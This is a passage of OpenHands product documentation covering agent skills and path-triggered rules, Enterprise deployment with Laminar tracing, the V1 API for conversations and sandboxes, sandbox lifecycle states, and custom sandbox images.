sandbox: - - ```bash - -e SANDBOX_VOLUMES="$HOME/my-skills:/home/openhands/.agents/skills:ro" - ``` - - If you also need to mount a workspace, use a comma-separated list: - - ```bash - -e SANDBOX_VOLUMES="$HOME/project:/workspace:rw,$HOME/.agents/skills:/home/openhands/.agents/skills:ro" - ``` - - See the [SANDBOX_VOLUMES documentation](/openhands/usage/sandboxes/docker#using-sandbox_volumes) for more details - on the mount format. - - - -### Path-Triggered Rules -Source: https://docs.openhands.dev/overview/skills/path.md - -## Usage - -A path-triggered rule is an ordinary skill with a `paths:` glob in its frontmatter. Whenever the -agent **touches** a file (reads, edits, or creates it) whose workspace-relative path matches one of -those globs, the rule's content is folded into the tool result the agent reads next — so the guidance -is guaranteed to be present exactly when the agent is working on the matching file. - -Unlike [keyword-triggered skills](/overview/skills/keyword), rules are **not** advertised in -`` and cannot be invoked by the model. They add **zero baseline cost** to the -context window: nothing is loaded until a matching file is actually touched, and each rule is injected -only once per conversation. - - -Use path-triggered rules for scoped conventions that should apply automatically when specific files -are edited — e.g. "validate all request inputs with zod" for `src/api/**/*.ts`, or "keep migrations -reversible" for `db/migrations/**`. - - -## Frontmatter Syntax - -Frontmatter is required for path-triggered rules. Enclose it in triple dashes (`---`) at the top of -the file, above the guidelines. - -| Field | Description | Required | Default | -|---------|--------------------------------------------------------------------|----------|---------| -| `paths` | Glob patterns (YAML list or comma-separated string) that scope the rule. | Yes | None | - -A file that declares both `paths:` and `triggers:` becomes a path-triggered rule — `paths:` wins. -This keeps rules deterministic and out of the model-invocable catalog. - -### Glob Semantics - -Patterns use gitignore-style matching against the workspace-relative POSIX path (matching is -case-sensitive): - -| Pattern | Matches | -|--------------------|-------------------------------------------------------------------------| -| `**` | Any number of path segments, including zero (crosses `/`). | -| `*` | Any run of characters **within a single** path segment. | -| `?` | A single non-separator character. | -| `*.ts` (no slash) | The basename at **any depth** — equivalent to `**/*.ts`. | - -`*` also matches leading-dot files (e.g. `src/*` matches `src/.env`). - -## Example - -Here's a rule located at `.agents/skills/api-validation.md`: - -```markdown ---- -paths: - - "src/api/**/*.ts" - - "**/*.route.ts" ---- - -API RULE: validate all request inputs with zod before using them. -Reject unknown fields and return a 400 with the validation error. -``` - -When the agent creates or edits `src/api/users.ts`, the rule content is appended to that tool result -inside an `` block: - -```xml - -The following rule applies because a file you touched matches "src/api/**/*.ts". Follow it when working with matching files. -Rule location: /repo/.agents/skills/api-validation.md - -API RULE: validate all request inputs with zod before using them. -Reject unknown fields and return a 400 with the validation error. - -``` - - -Path-triggered rules load from the same skills directories as other skills (`.agents/skills/`, -`.openhands/skills/`, …). They are repo-scoped: touching a file outside the workspace never fires a -rule. Injection is available for local conversations; ACP-backed conversations do not inject path -rules because the ACP server owns tool execution. - - -[See the SDK guide for the programmatic `PathTrigger` API](/sdk/guides/skill#path-triggered-rules). - -### Global Skills -Source: https://docs.openhands.dev/overview/skills/public.md - -## Global Skill Registry - -The official global skill registry is hosted at [github.com/OpenHands/extensions](https://github.com/OpenHands/extensions). This repository contains community-shared skills that can be used by all OpenHands users. - -## Contributing a Global Skill - -You can create global skills and share with the community by opening a pull request to the official skill registry. - -See the [OpenHands Skill Registry](https://github.com/OpenHands/extensions) for specific instructions on how to contribute a global skill. - -### Global Skills Best Practices - -- **Clear Scope**: Keep the skill focused on a specific domain or task. -- **Explicit Instructions**: Provide clear, unambiguous guidelines. -- **Useful Examples**: Include practical examples of common use cases. -- **Safety First**: Include necessary warnings and constraints. -- **Integration Awareness**: Consider how the skill interacts with other components. - -### Steps to Contribute a Global Skill - -#### 1. Plan the Global Skill - -Before creating a global skill, consider: - -- What specific problem or use case will it address? -- What unique capabilities or knowledge should it have? -- What trigger words make sense for activating it? -- What constraints or guidelines should it follow? - -#### 2. Create File - -Create a new Markdown file with a descriptive name in the official skill registry: -[github.com/OpenHands/extensions](https://github.com/OpenHands/extensions) - -#### 3. Testing the Global Skill - -- Test the agent with various prompts. -- Verify trigger words activate the agent correctly. -- Ensure instructions are clear and comprehensive. -- Check for potential conflicts and overlaps with existing agents. - -#### 4. Submission Process - -Submit a pull request with: - -- The new skill file. -- Updated documentation if needed. -- Description of the agent's purpose and capabilities. - -### General Skills -Source: https://docs.openhands.dev/overview/skills/repo.md - -## Usage - -These skills are always loaded as part of the context. - -## Frontmatter Syntax - -The frontmatter for this type of skill is optional. - -Frontmatter should be enclosed in triple dashes (---) and may include the following fields: - -| Field | Description | Required | Default | -|-----------|-----------------------------------------|----------|----------------| -| `agent` | The agent this skill applies to | No | 'CodeActAgent' | - -## Creating a Repository Agent - -To create an effective repository agent, you can ask OpenHands to analyze your repository with a prompt like: - -``` -Please browse the repository, look at the documentation and relevant code, and understand the purpose of this repository. - -Specifically, I want you to create an `AGENTS.md` file at the repository root. This file should contain succinct information that summarizes: -1. The purpose of this repository -2. The general setup of this repo -3. A brief description of the structure of this repo - -Read all the GitHub workflows under .github/ of the repository (if this folder exists) to understand the CI checks (e.g., linter, pre-commit), and include those in the `AGENTS.md` file. -``` - -This approach helps OpenHands capture repository context efficiently, reducing the need for repeated searches during conversations and ensuring more accurate solutions. - -## Example Content - -An `AGENTS.md` file should include: - -``` -# Repository Purpose -This project is a TODO application that allows users to track TODO items. - -# Setup Instructions -To set it up, you can run `npm run build`. - -# Repository Structure -- `/src`: Core application code -- `/tests`: Test suite -- `/docs`: Documentation -- `/.github`: CI/CD workflows - -# CI/CD Workflows -- `lint.yml`: Runs ESLint on all JavaScript files -- `test.yml`: Runs the test suite on pull requests - -# Development Guidelines -Always make sure the tests are passing before committing changes. You can run the tests by running `npm run test`. -``` - -[See more examples of general skills at OpenHands Skills registry.](https://github.com/OpenHands/extensions) - -## Other - -### OpenHands Enterprise -Source: https://docs.openhands.dev/enterprise.md - -OpenHands Enterprise allows you to run AI coding agents directly on your own -servers or in your private cloud. Unlike the SaaS version, the enterprise -deployment gives you complete control over your AI development environment. - - - Start your free 30-day trial and deploy OpenHands Enterprise on your own infrastructure in under an hour. - No credit card required. - - -## What is OpenHands Enterprise? - -OpenHands Enterprise brings the power of autonomous coding agents to your -organization with the governance, security, and compliance your enterprise -demands. - - - - All code and conversations stay on your infrastructure. Nothing leaves your - environment. - - - Configure LLM providers, security settings, and runtime environments to - match your requirements. - - - Deploy behind your firewall with your security policies. Fine-grained access - control and auditability. - - - Use your own compute resources and LLM API keys. No per-seat licensing. - - - -## Why Choose Enterprise? - -### Self-Hosted or Private Cloud Deployment - -Deploy OpenHands on your own infrastructure—whether on-premises, in your private -cloud, or in your VPC. You maintain full control over where your code and data -reside. - -### Bring Your Own LLM - -Connect to your preferred LLM provider—Anthropic, OpenAI, AWS Bedrock, Azure -OpenAI, Google Vertex AI, or any other provider. Use your existing enterprise -agreements and API keys. - -### Enterprise Integrations - -OpenHands Enterprise integrates with your existing enterprise ecosystem: - -- **Identity & Access**: Enterprise SAML/SSO for centralized authentication -- **Source Control**: GitHub Enterprise, GitLab, [Azure Repos](/enterprise/integrations/azure-devops), and [Bitbucket Data Center](/enterprise/integrations/bitbucket-data-center) -- **Project Management**: Azure Boards through [Azure DevOps](/enterprise/integrations/azure-devops), [Jira Data Center](/enterprise/integrations/jira-data-center), and other ticketing systems -- **Communication**: Slack integration for notifications and workflows - -### Containerized Sandbox Runtime - -Every agent runs in an isolated, containerized sandbox environment. This -provides safe autonomy—agents can execute code and make changes without risking -your production systems. - -### Dedicated Support - -Enterprise customers receive: - -- Priority support with guaranteed response times -- Named Customer Engineer for your account -- Shared Slack channel for direct communication -- Assistance with deployment, configuration, and optimization - -## OpenHands Deployment Options - -| Feature | Open Source | Cloud (SaaS) | Enterprise | -|---------|-------------|--------------|------------| -| **Deployment** | Local | Hosted SaaS | Self-hosted / Private Cloud | -| **Users** | 1 | 1 | Unlimited | -| **Data Location** | Your machine | OpenHands Cloud | Your infrastructure | -| **LLM Options** | BYOK | BYOK or OpenHands provider | BYOK | -| **SSO/SAML** | — | — | ✓ | -| **Multi-user RBAC** | — | — | ✓ | -| **Priority Support** | — | — | ✓ | - -## Getting Started - - - - Trial OpenHands Enterprise for free! - - - Configure conversation placement, sharing, and sandbox lifecycle. - - - Ready to bring OpenHands to your organization? Contact our team to discuss - your requirements and get started with a deployment plan. - - - -## Additional Resources - -- [Sizing Guide](/enterprise/sizing-guide) — Size a deployment from peak concurrent sandboxes -- [OpenHands Documentation](/overview/introduction) — Learn how to use OpenHands -- [SDK Documentation](/sdk/index) — Build custom agents with the OpenHands SDK -- [Pricing](https://openhands.dev/pricing) — Compare all OpenHands plans - -### Analytics -Source: https://docs.openhands.dev/enterprise/analytics.md - -This guide walks you through enabling Laminar in OpenHands Enterprise (OHE) so conversations automatically send traces for observability and analysis. - -For SDK-level tracing concepts, OTEL environment variables, and non-Laminar backends, see [Observability & Tracing](/sdk/guides/observability). - -## Who This Is For - -This guide is for users who want to deploy Laminar alongside OpenHands Enterprise and inspect traces from Enterprise conversations. - -## Why Laminar in OHE? - -Laminar helps you understand what your OpenHands deployment is doing in production: - -- Inspect prompts, tool calls, answers, and nested agent behavior in Laminar's [trace views](https://laminar.sh/docs/platform/viewing-traces). -- Use [session replay for browser agents](https://laminar.sh/docs/tracing/browser-agent-observability) when conversations drive browser automation. -- For Helm installs, define [signals](https://laminar.sh/docs/signals/introduction) to classify failures, measure outcomes, and monitor recurring patterns across many traces. - -For more information on evaluating skills, see [Evaluating Agent Skills](https://www.openhands.dev/blog/evaluating-agent-skills). - -## Prerequisites - -Before you begin, complete the [Quick Start guide](/enterprise/quick-start). - -## Enable Analytics - - - - - VM installs currently support trace collection, but do not support Laminar signals. The Admin Console configures the Laminar Project API Key only; the installer sets the remaining Laminar connection values automatically. - - - You should see an **Analytics Configuration** section on the application configuration page. - - Check the **Enable Analytics** box to have the installer set up and configure Laminar for analytics. - - ![Configure Analytics](./images/laminar-configure-analytics.png) - - - If you deployed OpenHands Enterprise into your own Kubernetes cluster using Helm, enable Laminar in your `values.yaml` override file. - - ```yaml - laminar: - enabled: true - global: - # Set to "aws" or "gcp" to match your cluster. - cloudProvider: "aws" - - frontend: - ingress: - enabled: true - hostname: "analytics." - tls: - enabled: true - secretName: "laminar-frontend-tls" - env: - # Must equal the frontend hostname above; the Keycloak callback URL is derived from it. - nextauthUrl: "https://analytics." - nextPublicUrl: "https://analytics." - extraEnv: - - name: AUTH_KEYCLOAK_ID - valueFrom: - secretKeyRef: - name: keycloak-realm - key: client-id - - name: AUTH_KEYCLOAK_SECRET - valueFrom: - secretKeyRef: - name: keycloak-realm - key: client-secret - - name: AUTH_KEYCLOAK_ISSUER - value: "https://auth./realms/allhands" - - appServer: - # Use an app-server ingress on GCP or other L7 ingress setups. - ingress: - enabled: true - hostname: "laminar-api." - tls: - enabled: true - secretName: "laminar-app-server-tls" - - # On AWS, use a Network Load Balancer instead of appServer.ingress - # if your runtimes send traces directly over TCP. - loadBalancer: - enabled: false - ``` - - Keep `laminar.enabled: false` until your ingress, TLS, and storage class settings match your cluster. - - - -## Deploy - - - - OpenHands will begin deploying. You can expect the deployment status to transition from **Missing** to **Unavailable** to **Ready**. This typically takes 10-15 minutes. - - ![Deployment in progress](./images/laminar-deploy-in-progress.png) - - Click **Details** next to the deployment status to monitor individual resources. Resources shown in orange are still deploying, so wait until all resources are ready. - - ![Deployment status details](./images/laminar-deployment-status-details.png) - - - Apply your updated `values.yaml` override file: - - ```bash - helm upgrade openhands oci://registry.replicated.com/openhands/openhands \ - --namespace openhands \ - --values values.yaml - ``` - - Wait for the Laminar workloads, ingress, and TLS resources to become ready. - - - -## Access the Laminar UI - -Once the deployment status shows **Ready**, navigate to the Laminar frontend URL: - -- VM install: `https://analytics.` -- Kubernetes install: the hostname configured in `laminar.frontend.ingress.hostname` - -Click the **Continue with Keycloak** button: - -![Laminar Keycloak Auth](./images/laminar-keycloak-auth.png) - - - For the **Continue with Keycloak** flow to succeed, the Keycloak client referenced by the `keycloak-realm` Secret must allow the Laminar callback. Its **Valid Redirect URIs** must include `https://analytics./api/auth/callback/keycloak` and its **Web Origins** must include `https://analytics.`. - - These must match the hostname in `laminar.frontend.ingress.hostname`. If your DNS uses the simple (single-level) layout — for example `analytics.` rather than a nested `analytics.app.` — confirm the redirect URI matches that hostname exactly, otherwise Keycloak rejects the login with an `Invalid parameter: redirect_uri` error. - - -If you want more background on Laminar Cloud versus self-hosting outside OHE, see Laminar's official [hosting options](https://laminar.sh/docs/hosting-options). - -## Create a Laminar Project - -Create a project in the Laminar UI: - -![Laminar Create Project](./images/laminar-create-project.png) - -Once a project has been created, Laminar is ready to listen for traces. - -![Laminar Listen Traces](./images/laminar-listen-traces.png) - -## Create an Ingest-Only API Key - -Always use ingest-only API keys when deploying OHE. - -Ingest-only keys are recommended because OHE only needs permission to write traces. They cannot be used to read trace data. - -![Configure Laminar Ingest Only Key](./images/laminar-ingest-only-key.png) - -## Set the Laminar Project API Key - -This is the same `LMNR_PROJECT_API_KEY` described in the [SDK observability guide](/sdk/guides/observability). - - - - Set the ingest-only key as the **Laminar Project API Key** in the Admin Console configuration. - - ![Configure Laminar Project API Key](./images/laminar-configure-key.png) - - Click **Save config**. - - - Create a Kubernetes Secret for the ingest-only project key: - - ```bash - kubectl create secret generic lmnr-project-api-key \ - --namespace openhands \ - --from-literal=LMNR_PROJECT_API_KEY= - ``` - - Create a Secret for the Laminar app-server base URL: - - ```bash - kubectl create secret generic lmnr-base-url \ - --namespace openhands \ - --from-literal=LMNR_BASE_URL=https://laminar-api. - ``` - - Then reference those Secrets from your `values.yaml` override file: - - ```yaml - laminar: - enabled: true - apiKeyFromSecret: - name: lmnr-project-api-key - key: LMNR_PROJECT_API_KEY - baseUrlFromSecret: - name: lmnr-base-url - key: LMNR_BASE_URL - forceHttp: true - ``` - - If your self-hosted Laminar app server exposes a non-default HTTP port, set `laminar.httpPort`. - - - -## Configure Runtime Environment Variables - - - - VM installs configure analytics through the Admin Console. After analytics is enabled and the Laminar Project API Key is saved, the installer automatically configures: - - ```yaml - LMNR_BASE_URL: "http://laminar-app-server-service" - LMNR_PROJECT_API_KEY: "" - LMNR_FORCE_HTTP: "true" - LMNR_HTTP_PORT: "8000" - ``` - - The Admin Console does not currently expose `LLM_*` settings for Laminar AI features. VM installs currently send traces to Laminar, but do not support Laminar signals. - - - In OHE, environment variables whose names start with `LMNR_` or `LLM_` are forwarded to the SDK runtime. This lets you configure Laminar ingestion settings and the LLM settings used for Laminar-backed workflows. - - For example, you can point the runtime at the managed Laminar endpoint and use an ingest-only project key: - - ```yaml - LMNR_BASE_URL: "https://laminar-api." - # Ingest-only API key, not a read-capable secret: - LMNR_PROJECT_API_KEY: "" - LMNR_FORCE_HTTP: "true" - ``` - - The chart sets `LMNR_PROJECT_API_KEY`, `LMNR_BASE_URL`, `LMNR_FORCE_HTTP`, and `LMNR_HTTP_PORT` from the `laminar` values above. If you need to override one of them directly, set it under the top-level `env` values in your `values.yaml`. - - You can also control which LLM Laminar uses for its AI features — chat-with-trace, SQL-with-AI, and [signals](https://laminar.sh/docs/signals/introduction) — by forwarding the standard `LLM_*` variables. Add these values under the top-level `env` values: - - ```yaml - env: - LLM_PROVIDER: "openai" - LLM_API_KEY: "" - LLM_BASE_URL: "https://llm-proxy." - LLM_MODEL_SMALL: "gpt-5.4-mini" - LLM_MODEL_MEDIUM: "gpt-5.4-mini" - LLM_MODEL_LARGE: "gpt-5.5" - ``` - - `LLM_PROVIDER` accepts `gemini` (Laminar's default), `openai`, or `bedrock`, and `LLM_MODEL_SMALL` / `LLM_MODEL_MEDIUM` / `LLM_MODEL_LARGE` are optional per-tier model overrides. Set `LLM_PROVIDER` to `openai` whenever you point `LLM_BASE_URL` at an OpenAI-compatible gateway (for example LiteLLM, OpenRouter, or vLLM), not just the public OpenAI API. Set `LLM_API_KEY` for `gemini`, `openai`, and OpenAI-compatible gateways; use AWS credentials instead for `bedrock`. - - For the full set of supported values, see Laminar's official [self-hosting configuration reference](https://laminar.sh/docs/self-hosting/configuration). - - - -## Deploy Updated Configuration - -Deploy the configuration change after setting the Laminar Project API Key. - - - - Click **Deploy** in the Admin Console. - - ![Laminar Deploy Again](./images/laminar-deploy-again.png) - - For a VM install walkthrough, watch the recap: - - - - - Apply your updated `values.yaml` override file: - - ```bash - helm upgrade openhands oci://registry.replicated.com/openhands/openhands \ - --namespace openhands \ - --values values.yaml - ``` - - - -Wait for the deployment to complete. - -## Start a Conversation - -Navigate to the OpenHands UI at `https://app.`. Start a new conversation and try a prompt. - -![Start a Conversation](./images/laminar-openhands-conversation.png) - -Your conversations will now automatically send traces to Laminar. - -![Laminar Trace](./images/laminar-trace.png) - -## What to Do Next in Laminar - -Once traces are flowing, use Laminar's official docs to go deeper: - -- [Viewing Traces](https://laminar.sh/docs/platform/viewing-traces) to inspect a single conversation in transcript, tree, or timeline views. -- For Helm installs, [Signals](https://laminar.sh/docs/signals/introduction) to extract structured outcomes or failure modes across many traces. -- [Session replay for browser agents](https://laminar.sh/docs/tracing/browser-agent-observability) to debug browser-based automations. -- [Observability for OpenHands Software Agent SDK](https://laminar.sh/docs/tracing/integrations/openhands-sdk) for the OpenHands-specific tracing model. - -## Next Steps - - - - Learn the full OpenHands tracing model, OTEL configuration options, and non-Laminar backends. - - - Get more reliable traces by improving the prompts you give your agents. - - - Reach out to the OpenHands team for deployment assistance or questions. - - - -### Conversations And Sandboxes -Source: https://docs.openhands.dev/enterprise/conversations-and-sandboxes.md - -OpenHands Enterprise separates the user's coding session from the environment -where the coding agent runs: - -- A **conversation** is the session shown in the OpenHands application. It has - its own messages, events, agent state, repository selection, and usage - metrics. -- A **sandbox** is the execution environment. It provides the filesystem, - processes, credentials, tools, and compute used by one or more conversations. -- An **Agent Server** runs inside the sandbox and executes the OpenHands coding - agent for each conversation attached to that sandbox. - -The Enterprise V1 API manages conversations and sandboxes at the application -level. Most customer integrations should begin with this API. - -## How The Components Relate - -```mermaid -flowchart LR - API["Enterprise V1 API"] - subgraph Sandbox["Sandbox"] - Conversation1["Conversation A"] - Conversation2["Conversation B"] - Shared["Shared filesystem, tools, credentials, and compute"] - Conversation1 --> Shared - Conversation2 --> Shared - end - - API --> Conversation1 - API --> Conversation2 -``` - -The Enterprise V1 API creates and manages the user-visible conversations. A -sandbox can contain one conversation or several, depending on placement. - -Two conversations in the same sandbox keep separate conversation histories, -but they share the sandbox's filesystem, credentials, compute limits, and -failure domain. - -## Choose The Sandbox Boundary - -Use separate sandboxes when conversations cross a security, trust, repository, -or failure boundary. Use a shared sandbox when the conversations are trusted -to share the same environment and reducing startup time or sandbox count is -more important than isolation. - -| Placement | Appropriate When | Tradeoff | -| --- | --- | --- | -| One sandbox per conversation | Work requires isolation or independent cleanup | Uses the most sandbox capacity | -| Several conversations per sandbox | Trusted work can share files, credentials, and compute | A failure or resource problem can affect every attached conversation | -| Explicitly selected sandbox | An application prepares an environment or maintains a small warm pool | The application must coordinate placement and cleanup | - - - A separate conversation is not a security boundary when it shares a - sandbox with another conversation. - - -## Configure Automatic Placement - -The user's `Sandbox Grouping Strategy` application setting controls automatic -placement: - -| Setting | Placement Behavior | -| --- | --- | -| No grouping | Start a new sandbox for each conversation | -| Group by newest | Use the newest available sandbox | -| Least recently used | Use the least recently used available sandbox | -| Fewest conversations | Use the available sandbox with the fewest conversations | -| Add to any | Use the first available sandbox | - -To change the setting: - -1. Navigate to `Settings > Application`. -2. Select a value under `Sandbox Grouping Strategy`. -3. Click `Save Changes`. - -The setting applies to conversations started with that user's application -settings. It does not change the installation's sandbox capacity. - -Grouping is a placement rule, not a resource scheduler. It does not determine -whether a sandbox has enough CPU, memory, disk, or credentials for another -conversation. Applications running concurrent workloads must still limit -admission based on their tested sandbox capacity. - -## Manage Conversations With V1 - -The V1 API uses the Enterprise base URL and Bearer authentication: - -```http -Authorization: Bearer YOUR_API_KEY -``` - -The main conversation endpoints are: - -| Operation | Endpoint | -| --- | --- | -| Start a conversation | `POST /api/v1/app-conversations` | -| Check asynchronous startup | `GET /api/v1/app-conversations/start-tasks?ids={start_task_id}` | -| Get conversations by ID | `GET /api/v1/app-conversations?ids={conversation_id}` | -| Search conversations | `GET /api/v1/app-conversations/search` | -| Send a follow-up message | `POST /api/v1/app-conversations/{conversation_id}/send-message` | -| Read events | `GET /api/v1/conversation/{conversation_id}/events/search` | -| Update conversation metadata | `PATCH /api/v1/app-conversations/{conversation_id}` | -| Download the trajectory | `GET /api/v1/app-conversations/{conversation_id}/download` | -| Delete a conversation | `DELETE /api/v1/app-conversations/{conversation_id}` | - -### Start A Conversation - -```bash -curl -X POST \ - "https://OPENHANDS_HOST/api/v1/app-conversations" \ - -H "Authorization: Bearer YOUR_API_KEY" \ - -H "Content-Type: application/json" \ - -d '{ - "initial_message": { - "role": "user", - "content": [ - { - "type": "text", - "text": "Run the repository tests and explain any failures." - } - ], - "run": true - }, - "selected_repository": "yourorganization/yourrepository", - "selected_branch": "main" - }' -``` - -Conversation startup is asynchronous. The response is a start task. Poll the -start task until it reaches `READY` and returns `app_conversation_id` and -`sandbox_id`. - -### Add Observability Context - -Conversation start requests can include optional observability fields: - -| Field | Type | Description | -| --- | --- | --- | -| `observability_span_name` | string | Creates a named child span under the root `conversation` span. Use stable, low-cardinality names for grouping and signal routing. | -| `observability_tags` | string array | Adds tags to the conversation root observability span. | -| `observability_metadata` | object | Adds trace-level metadata. Values must be scalars or homogeneous scalar arrays, such as strings, numbers, booleans, `string[]`, `number[]`, or `boolean[]`. | - -```json -{ - "initial_message": { - "role": "user", - "content": [ - { - "type": "text", - "text": "Evaluate this repository against the WB rubric." - } - ], - "run": true - }, - "selected_repository": "yourorganization/yourrepository", - "observability_span_name": "wb_rubric_eval", - "observability_tags": ["wb-rubric", "evaluation"], - "observability_metadata": { - "evaluation": "wb", - "attempt": 1, - "replay": false - } -} -``` - -### Pass Secrets At Conversation Start - -For credentials needed by only one conversation, include a `secrets` map in -the start request: - -```json -{ - "initial_message": { - "role": "user", - "content": [ - { - "type": "text", - "text": "Review the repository and open a pull request." - } - ], - "run": true - }, - "secrets": { - "GITHUB_TOKEN": "YOUR_SHORT_LIVED_TOKEN" - } -} -``` - -Conversation-specific secrets are available before the first agent action. -They take precedence over stored secrets with the same permitted name for that -conversation. Prefer short-lived, narrowly scoped credentials, and do not put -secret values in the initial message or write them to the workspace. - -The same request can include `plugins`. Secrets present at startup can fill -`${NAME}` placeholders in an attached plugin's MCP configuration before the -MCP connection opens. Pass both `secrets` and `plugins` in the start request -when a plugin requires a conversation-specific credential. - - - If `GITHUB_TOKEN` represents a different GitHub user than the Enterprise - account, start the conversation without `selected_repository`. Clone the - repository after the conversation starts, or prepare a sandbox and then - attach the conversation. Configure `git user.name` and `git user.email` - separately because the push credential does not set commit authorship. - - -For a complete service account workflow, including the difference between the -PAT's permissions and the identity recorded in commits, see -[Use a Service Account for Automated Conversations](/enterprise/integrations/github#use-a-service-account-for-automated-conversations). - -For tested implementations, see the -[per-conversation secrets](https://github.com/OpenHands/enterprise-cookbook/tree/main/per-conversation-secrets) -and -[service-account GitHub PAT](https://github.com/OpenHands/enterprise-cookbook/tree/main/service-account-github-pat) -examples. - -### Select An Existing Sandbox - -For explicit placement: - -1. Create a sandbox with `POST /api/v1/sandboxes`. -2. Wait until its status is `RUNNING`. -3. Include its ID as `sandbox_id` when starting the conversation. -4. Verify that the completed start task returns the expected sandbox ID. - -```json -{ - "sandbox_id": "SANDBOX_ID", - "initial_message": { - "role": "user", - "content": [ - { - "type": "text", - "text": "Run the compatibility check." - } - ], - "run": true - } -} -``` - -Explicit placement overrides automatic grouping for that conversation. It -does not add isolation between conversations attached to the selected -sandbox. - -## Inspect Work Through V1 - -Enterprise exposes application-level endpoints for reviewing work without -connecting directly to the Agent Server: - -| Operation | Endpoint | -| --- | --- | -| Read a workspace file | `GET /api/v1/app-conversations/{conversation_id}/file` | -| List Git changes | `GET /api/v1/app-conversations/{conversation_id}/git/changes` | -| Read the Git diff | `GET /api/v1/app-conversations/{conversation_id}/git/diff` | -| List loaded skills | `GET /api/v1/app-conversations/{conversation_id}/skills` | -| List configured hooks | `GET /api/v1/app-conversations/{conversation_id}/hooks` | - -The app-conversation record also includes sandbox status, agent execution -status, and model usage metrics. - -Use the events endpoint for messages, tool actions, tool observations, state -changes, and errors. Use the current app-conversation record to reconcile -status after a process restart or missed event. - -## Sandbox Status States - -The `sandbox_status` field indicates the lifecycle state of the sandbox. This is -distinct from `execution_status`, which tracks the agent's task state. - -| Status | What it means | Can send messages | Workspace available | Notes | -| --- | --- | --- | --- | --- | -| `STARTING` | Sandbox is being created | No | No | Sandboxes provision on-demand | -| `RUNNING` | Sandbox is active and ready | Yes | Yes | Normal operating state | -| `PAUSED` | Sandbox is paused | Yes | Yes | Agent paused; sandbox still running | -| `ERROR` | Sandbox encountered an error | No (read-only) | No | Terminal state; check UI for details | -| `MISSING` | Sandbox was deleted/cleaned up | No (read-only) | No | Terminal state | - -### State Transitions - -``` -STARTING → RUNNING → PAUSED - ↘ ERROR - ↘ MISSING -``` - -- **STARTING → RUNNING**: Normal transition as the sandbox boots up -- **RUNNING → PAUSED**: Happens when the agent pauses for user confirmation or - due to rate limits -- **RUNNING → ERROR**: Unrecoverable error in the sandbox (e.g., container - failure) -- **RUNNING → MISSING**: Sandbox was cleaned up due to idle timeout or manual - deletion - -## Execution Status - -The `execution_status` field indicates the agent's task state when the sandbox -is `RUNNING`: - -| Status | What it means | -| --- | --- | -| `IDLE` | Agent is idle, waiting for input | -| `RUNNING` | Agent is actively processing | -| `PAUSED` | Agent has paused (e.g., waiting for confirmation mode) | -| `WAITING_FOR_CONFIRMATION` | Agent is waiting for user to approve a high-risk action | -| `FINISHED` | Task completed successfully | -| `ERROR` | Task encountered an error | -| `STUCK` | Agent appears to be stuck | - -## Conversation Lifecycle Limits - -Running conversations are subject to time-based limits that free up cluster -resources. Two of these are configurable in the admin console under -**Sandbox Configuration** (see -[Admin Console Configuration](/enterprise/vm-install/admin-console-configuration)): - -- **Idle Time (seconds)** — After a conversation has been idle (no agent or user - activity) for this long, its sandbox is **paused**, releasing CPU and memory. - Activity resets the idle timer, so an actively-working agent is not paused for - idleness. A paused conversation is resumed automatically on next access. -- **Deletion Time (seconds)** — After a conversation has been **paused** for this - long, it and its storage are permanently deleted and can no longer be resumed. - - - Separately from the idle timeout, a single running session is capped at a - maximum of **12 hours**. This cap applies even to a continuously-active - conversation: once a session has been running for 12 hours it is force-paused. - Resuming the conversation starts a new 12-hour window. This maximum session - duration is not currently configurable. - - -Because these limits are deployment-wide, they cannot be set per conversation or -per Agent Profile. Agent Profiles configure the agent's model, tools, and -behavior, not sandbox lifetime. - -## Read-Only Conversations - -When `sandbox_status` is `ERROR` or `MISSING`, the conversation becomes -read-only. You can: - -- ✅ View the full conversation transcript -- ✅ Scroll through all past messages and agent actions -- ❌ Send new messages -- ❌ Resume the sandbox -- ❌ Access workspace files - -### What Gets Preserved - -| Artifact | Preserved after cleanup | -| --- | --- | -| Conversation transcript | ✅ Yes (always) | -| Agent actions and observations | ✅ Yes (always) | -| Workspace files | ❌ No (deleted with sandbox) | -| Sandbox state | ❌ No (deleted with sandbox) | - -### Workspace Archive Capture - -When a sandbox is cleaned up, OpenHands captures an internal archive of the -workspace contents. This archive is used for debugging, support, and audit -trails (Enterprise plans). The workspace archive is an internal artifact and is -not directly accessible to users. - -## Manage Sandbox Lifecycle - -The V1 sandbox endpoints include: - -| Operation | Endpoint | -| --- | --- | -| Create a sandbox | `POST /api/v1/sandboxes` | -| Search sandboxes | `GET /api/v1/sandboxes/search` | -| Get a sandbox | `GET /api/v1/sandboxes?id={sandbox_id}` | -| Pause a sandbox | `POST /api/v1/sandboxes/{sandbox_id}/pause` | -| Resume a sandbox | `POST /api/v1/sandboxes/{sandbox_id}/resume` | -| Delete a sandbox | `DELETE /api/v1/sandboxes/{sandbox_id}` | - -Pause retains the conversation and recoverable workspace while releasing -active runtime capacity. Delete only after required results and artifacts are -stored elsewhere. - -Before pausing or deleting a shared sandbox, check every conversation attached -to it. The operation affects all of them. - -Deleting the last conversation can also remove its sandbox. After deleting a -conversation, check whether the sandbox still exists before sending a separate -sandbox delete request. - -### Custom Sandbox Images -Source: https://docs.openhands.dev/enterprise/custom-sandbox-image.md - -Custom sandbox images let you prebake the repository, dependencies, compiled output, and test harness -your agents need. Instead of spending minutes provisioning a workspace on every run, your agents start -on the actual task immediately. - -This page covers two levels of customization: - -1. **[A single custom image](#configure-a-single-custom-image-admin-console)** that replaces the default - sandbox image for the whole installation. Configured in the Replicated Admin Console; no cluster access needed. -2. **[Multiple custom images](#run-multiple-custom-images-with-warm-runtime-pools)** running side by side, - each with its own warm pool, selectable per user. Configured through the Runtime API; requires `kubectl` access. - -## Why Use a Custom Image - -Custom images eliminate cold-start setup work (clone, install, transpile, and bootstrap) so agents -spend their time on the actual task. They also reduce setup variance and lower sandbox memory requirements -by keeping only what the agent needs. - -With **multiple** custom images, different teams get different environments: a PHP image with Composer and -MySQL client for the web team, a JDK and Maven image for the Java services team, a data science image with -pinned Python packages for the analytics team. Each image is kept ready in its own warm pool so conversations -start in seconds regardless of which environment they use. - -## Build Your Own Custom Image - -The [OpenHands agent-server sandbox guide](https://docs.openhands.dev/sdk/guides/agent-server/docker-sandbox) -provides full documentation on building custom sandbox images. The approach is the same for the Enterprise -Replicated VM deployment. - -### Basic Pattern - -1. Start from the OpenHands agent-server base image. -2. Keep the normal OpenHands entrypoint intact: extend the image, do not replace the entrypoint. -3. Add your repo, docs, tools, and verification wrappers. -4. Pre-run the expensive setup you do not want to repeat at task time. -5. Publish the image to a registry reachable from your OpenHands cluster. - - - Do not override the entrypoint or replace the runtime contract of the base image. The installer - expects 